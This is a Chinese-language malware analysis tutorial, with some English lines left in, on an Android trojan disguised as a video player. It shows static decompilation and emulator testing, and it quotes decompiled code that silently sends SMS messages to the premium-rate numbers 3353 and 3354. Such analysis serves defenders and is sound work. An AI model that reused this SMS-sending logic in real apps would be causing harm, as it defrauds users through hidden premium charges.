Android平台在不斷髮展。當一個產品使用者越來越多的時候,惡意代碼編寫者會編寫針對新平台的惡意代碼。最近有非常多的針對Android malware 的報道。在逆向工程中我們使用以下兩種方法來分析惡意代碼:
----靜態分析
----動態分析
首先拿到一個叫”VideoPalyer“的Android malware,
檔案:VideoPlayer.apk
MD5:fdb84ff8125b3790011b83cc85adce16
apk代表Android應用檔案。每個Android應用都被編譯和打包成一個單獨檔案,包含所有的應用代碼(dex檔案),resources,assets,和manifest檔案。應用程式套件名字可以任意取,但是尾碼必須是.apk.
.dex檔案是編譯後的Android應用代碼檔案。Android程式被編譯成.dex(Dalvik執行程式)檔案,然後和resoueces等等一起被打包成apk檔案。java代碼會被編譯成class檔案,class檔案會被編譯成dex檔案。所以,dex檔案中有需要的java代碼。
用7zip開啟VideoPlayer.apk的目錄結構如下:
使用7zip解壓,就可以得到dex檔案,用dex2jar就可以把.dex轉換成.jar檔案,然後用JD-GUI就可以反編譯.jar檔案。JD-GUI參見(http://java.decompiler.free.fr/?q=jdgui) ;
HelloWorld和MoviePlayer需要重點關注。
Things that look worth examining are ‘HelloWorld’ and ‘Movieplayer’.
在‘HelloWorld’ 有下面的代碼和俄語文本:
super.onCreate(paramBundle);
TextView localTextView = new TextView(this);
localTextView.setText("Нажмите ок для доступа к видеотеке");
俄語文本的意思是: ‘Press ok for access to the videotape library’
In the next part of the code, following was discovered:
localSmsManager.sendTextMessage(“3353“, null, “798657“, null, null);
str1 = “3354“;
try
{
localSmsManager.sendTextMessage(str1, str2, “798657″, localPendingIntent1, localPendingIntent2);
str1 = “3353″;
分析代碼發現,在Google上搜尋‘3353’和‘3354’後,這個程式試圖給‘3353’和‘3354’發內容為‘798657’的短訊息(SMS),它們屬於一個叫做‘INcoreMedia Ltd’的俄羅斯公司。這些SMS號碼被稱為‘High premium rate’號碼。在更多的scams也被使用過。
上面代碼也出現在MoviePlayer類中。
為了動態分析,Android SDK toolkit以及它們依賴的組件都需要被安裝。然後建立產生一個虛擬設備,就可以把VideoPlayer.apk安裝到這個虛擬設備上。
點擊Movie Player表徵圖,沒有觀察到異常,但是通過靜態分析可以知道,在啟用這個app之後,它會試圖發送SMS訊息。
http://securitybananas.com/?p=574